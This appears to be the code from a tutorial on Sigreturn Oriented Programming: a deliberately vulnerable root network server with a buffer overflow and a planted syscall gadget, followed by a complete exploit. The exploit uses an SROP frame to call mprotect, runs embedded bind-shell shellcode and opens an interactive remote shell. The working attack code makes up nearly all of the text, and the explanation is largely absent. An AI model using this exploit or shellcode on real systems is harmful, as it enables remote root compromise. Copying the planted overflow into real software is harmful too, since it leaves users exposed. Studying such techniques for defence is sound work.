Playing with signals: an overview on Sigreturn Oriented Programming

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PAGE_SIZE 0x1000
#define PORT 7777

// in .bss
char data[PAGE_SIZE * 2];

void init()
{
struct sockaddr_in sa;;
int s, c, size, k = 1;

sa.sin_family = AF_INET;
sa.sin_port = htons(PORT);
sa.sin_addr.s_addr = INADDR_ANY;

size = sizeof(struct sockaddr);

if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
handle_error("socket failed\n");
}

if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &k, sizeof(int)) == -1) {
handle_error("setsockopt failed\n");
}

if(bind(s, (struct sockaddr *)&sa, size)) {
handle_error("bind failed\n");
}

if(listen(s, 3) < 0) {
handle_error("listen failed\n");
}

while(1) {
if((c = accept(s, (struct sockaddr *)NULL, NULL)) < 0) {
handle_error("accept failed\n");
}
handle_conn(c);
}
}

int handle_conn(int c)
{
char input[0x400];
int amt;
//too large data !!!
if((amt = read(c, input, PAGE_SIZE) < 0)) {
handle_error("receive failed\n");
}
memcpy(data, input, PAGE_SIZE);
welcome(c);
close(c);
return 0;

}

int welcome(int c)
{
int amt;
const char *msg = "I'm vulnerable program running with root priviledges!!\nPlease do not exploit me";

write(c, msg, strlen(msg));

if((amt = write(c, data, strlen(data))) < 0) {
handle_error("send failed\n");
}
return 0;
}

int handle_error(char *msg)
{
perror(msg);
exit(-1);
}

void gadget()
{
asm("mov $0xf,%rax\n");
asm("retq\n");
}

int main()
{
init();
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/mman.h>
#include <errno.h>

#define HOSTNAME "localhost";
#define PORT 7777
#define POWN 31337
#define SIZE 0x400 + 8*2

#define SYSCALL_GADGET 0xffffffffff600007
#define RAX_15_GADGET 0x400ad3
#define DATA 0x6012c0
#define MPROTECT_BASE 0x601000 //must be a multiple of page_size (in .bss)
#define MPROTECT_SYSCALL 0xa
#define FLAGS 0x33
#define PAGE_SIZE 4096

#define COLOR_SHELL "\033[31;01mbind-shell\033[00m > "

struct payload_t {
unsigned long ret;
char nopshell[SIZE];
unsigned long gadget;
unsigned long sigret;
struct ucontext context;
};

unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
"\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05"
"\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31"
"\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59"
"\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";

int setsock(char *hostname, int port);
void session(int s);
void overflows(int s);
int handle_error(char *msg);

int main(int argc, char **argv)
{
int s;
printf("[1] connecting to target ... \n");
s = setsock(HOSTNAME, PORT);
printf("[+] connected \n");
printf("[2] overflowing ... \n");
overflows(s);
s = setsock(HOSTNAME, POWN);
session(s);
return 0;
}

void overflows(int s)
{
struct payload_t payload;
char output[0x400];

memset(payload.nopshell, 0x90, SIZE);
strncpy(payload.nopshell, shellcode, strlen(shellcode));

payload.ret = DATA + 0x8; //precise address of nop sled
payload.gadget = RAX_15_GADGET;
payload.sigret = SYSCALL_GADGET;

/* initializing the context structure */
bzero(&payload.context, sizeof(struct ucontext));

/* setting first arg of mprotect in rdi */
payload.context.uc_mcontext.gregs[8] = MPROTECT_BASE;

/* setting second arg of mprotect in rsi */
payload.context.uc_mcontext.gregs[9] = PAGE_SIZE;

/* setting third arg of mprotect in rdx */
payload.context.uc_mcontext.gregs[12] = PROT_READ | PROT_WRITE | PROT_EXEC;

/* setting mprotect syscall number in rax */
payload.context.uc_mcontext.gregs[13] = MPROTECT_SYSCALL;

/*
* jumping into nop sled after mprotect syscall.
* setting rsp value
*/
payload.context.uc_mcontext.gregs[15] = DATA;

/* setting rip value (points to syscall address) */
payload.context.uc_mcontext.gregs[16] = SYSCALL_GADGET;

/* cs = 0x33 */
payload.context.uc_mcontext.gregs[18] = FLAGS;

write(s, &payload, sizeof(payload));

read(s, output, 0x400);
}

int setsock(char *hostname, int port)
{
int sock;
struct hostent *hent;
struct sockaddr_in sa;
struct in_addr ia;

hent = gethostbyname(hostname);
if(hent) {
memcpy(&ia.s_addr, hent->h_addr, 4);
}
else if((ia.s_addr = inet_addr(hostname)) == INADDR_ANY) {
handle_error("incorrect address !!!\n");
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
handle_error("socket failed !!!\n");
}

sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = ia.s_addr;

if(connect(sock, (struct sockaddr *)&sa, sizeof(sa)) == -1) {
handle_error("connection failed !!!!\n");
}

return sock;
}

void session(int s)
{
char buf[1024];
int amt;

fd_set fds;

printf("[!] enjoy your shell \n");
fputs(COLOR_SHELL, stderr);
FD_ZERO(&fds);
while(1) {
FD_SET(s, &fds);
FD_SET(0, &fds);
select(s+1, &fds, NULL, NULL, NULL);

if(FD_ISSET(0, &fds)) {
if((amt = read(0, buf, 1024)) == 0) {
handle_error("connection lost\n");
}
buf[amt] = '\0';
write(s, buf, strlen(buf));
}

if(FD_ISSET(s, &fds)) {
if((amt = read(s, buf, 1024)) == 0) {
handle_error("connection lost\n");
}
buf[amt] = '\0';
printf("%s", buf);
fputs(COLOR_SHELL, stderr);
}
}
}

int handle_error(char *msg)
{
perror(msg);
exit(-1);
}